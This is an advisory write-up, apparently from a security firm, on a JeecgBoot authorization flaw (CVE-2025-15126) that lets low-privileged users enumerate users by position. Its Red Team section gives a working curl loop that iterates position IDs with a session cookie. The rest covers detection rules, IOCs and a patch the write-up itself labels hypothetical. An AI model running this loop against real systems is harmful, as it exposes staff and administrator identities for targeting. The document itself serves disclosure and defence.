CVE-2025-15126

Executive Summary

CVE-2025-15126 is an improper authorization vulnerability in the JeecgBoot rapid development platform, affecting versions up to and including 3.9.0. The flaw resides in the /sys/position/getPositionUserList endpoint, where the positionId parameter is not properly validated, allowing an authenticated attacker to enumerate user lists associated with arbitrary positions. While the CVSS score is low (3.1) due to high attack complexity and limited impact (confidentiality only), the public availability of exploit details increases the risk for unpatched instances. The vendor has not responded to disclosure attempts, leaving the vulnerability unpatched.

Supply Chain & Package Security

JeecgBoot is a Java-based open-source framework distributed via Maven Central and GitHub. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Organizations using JeecgBoot should treat this as a direct application security issue, not a supply chain compromise.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): High (H) – Requires specific conditions or knowledge.
• Privileges Required (PR): Low (L) – Attacker needs a valid user account.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited user list disclosure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Low. The high attack complexity and low impact reduce immediate risk, but public exploit code increases the likelihood of targeted attacks.

Deep Dive & Mechanics

The vulnerability is an improper authorization (CWE-285) in the getPositionUserList API endpoint. The function is designed to return a list of users assigned to a specific position (e.g., "Manager", "Admin"). The positionId parameter is used to query the database. However, the application fails to verify that the requesting user has permission to view the user list for that position. An attacker with a low-privileged account can manipulate the positionId parameter to enumerate users in any position, including administrative or sensitive roles.

The attack flow:

1. Attacker authenticates with a low-privileged account.
2. Sends a GET request to /sys/position/getPositionUserList?positionId=<target_id>.
3. The server returns a JSON list of user IDs, usernames, and possibly other metadata for that position.
4. By iterating through position IDs, the attacker can map the organizational structure and identify high-value targets.

The high attack complexity stems from the need to know valid position IDs and have a valid session. However, position IDs are often sequential or predictable (e.g., integers), making brute-force feasible.

Vulnerable vs. Patched Code

Vulnerable Code (JeecgBoot <= 3.9.0):

// In SysPositionController.java
@GetMapping("/getPositionUserList")
public Result<List<SysUser>> getPositionUserList(@RequestParam String positionId) {
    List<SysUser> userList = sysUserService.getUserListByPositionId(positionId);
    return Result.ok(userList);
}

The method lacks any authorization check (e.g., @PreAuthorize or manual permission validation).

Patched Code (Hypothetical):

@GetMapping("/getPositionUserList")
@PreAuthorize("hasPermission('position:user:list')")
public Result<List<SysUser>> getPositionUserList(@RequestParam String positionId) {
    // Additional check: ensure user belongs to the same department/org
    if (!sysUserService.canViewPosition(positionId, currentUser)) {
        return Result.error("No permission");
    }
    List<SysUser> userList = sysUserService.getUserListByPositionId(positionId);
    return Result.ok(userList);
}

The patch adds role-based access control and a business logic check to prevent unauthorized enumeration.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid low-privileged user account on the JeecgBoot instance.
• Knowledge of the target URL (e.g., https://target.com/jeecg-boot).

Exploit Steps:

1. Authenticate and obtain a session cookie (e.g., JSESSIONID).
2. Enumerate position IDs (often starting from 1 or 1000):

   for id in $(seq 1 100); do
       curl -s -b "JSESSIONID=your_session" \
         "https://target.com/jeecg-boot/sys/position/getPositionUserList?positionId=$id" \
         | jq '.result[] | {username: .username, realname: .realname}'
   done
   

3. Analyze output to identify admin users or sensitive positions.

Expected Output:

{
  "username": "admin",
  "realname": "Administrator"
}

Blue Team

Detection:

• Monitor for sequential or rapid requests to /sys/position/getPositionUserList with varying positionId parameters.
• Alert on requests from low-privileged users to this endpoint.

Honeypot:

• Deploy a fake position ID (e.g., positionId=9999) that returns a decoy user list and triggers an alert.

Indicators of Compromise (IOCs)

• Network:

  • HTTP GET requests to /sys/position/getPositionUserList with positionId parameter.
  • Sequential positionId values in short timeframes.
  • User-Agent strings from common enumeration tools (e.g., curl, python-requests).

• Logs:

  • Application logs showing getPositionUserList calls from unexpected user roles.
  • Failed authorization attempts (if logging is enabled).

• File System:

  • No file-based IOCs; this is a server-side API vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_15126_JeecgBoot_Enumeration {
    meta:
        description = "Detects exploitation attempts of CVE-2025-15126 in JeecgBoot"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15126"
    strings:
        $s1 = "/sys/position/getPositionUserList" ascii wide nocase
        $s2 = "positionId=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-15126 - JeecgBoot Position User List Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to enumerate user lists via the getPositionUserList endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/sys/position/getPositionUserList'
        cs-uri-query|contains: 'positionId='
    condition: selection
falsepositives:
    - Legitimate administrative use
level: medium
tags:
    - attack.t1190
    - cve.2025.15126

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15126 JeecgBoot Position User List Enumeration"; flow:to_server,established; content:"GET"; http_method; content:"/sys/position/getPositionUserList"; http_uri; content:"positionId="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Use a Web Application Firewall (WAF) to block requests to /sys/position/getPositionUserList from non-admin IPs or require additional headers.
2. Disable Endpoint: If not needed, disable the getPositionUserList endpoint via configuration or code removal.
3. Rate Limiting: Implement rate limiting on API endpoints to slow enumeration attempts.

Long-Term Fix:

• Apply proper authorization checks (e.g., Spring Security @PreAuthorize) to all sensitive endpoints.
• Upgrade to a patched version when available (monitor JeecgBoot GitHub releases).
• Conduct a security audit of all API endpoints for similar flaws.

Workaround:

• Modify the SysPositionController.java to add a manual permission check:

  if (!SecurityUtils.getSubject().isPermitted("position:user:list")) {
      return Result.error("No permission");
  }
  

Valters IT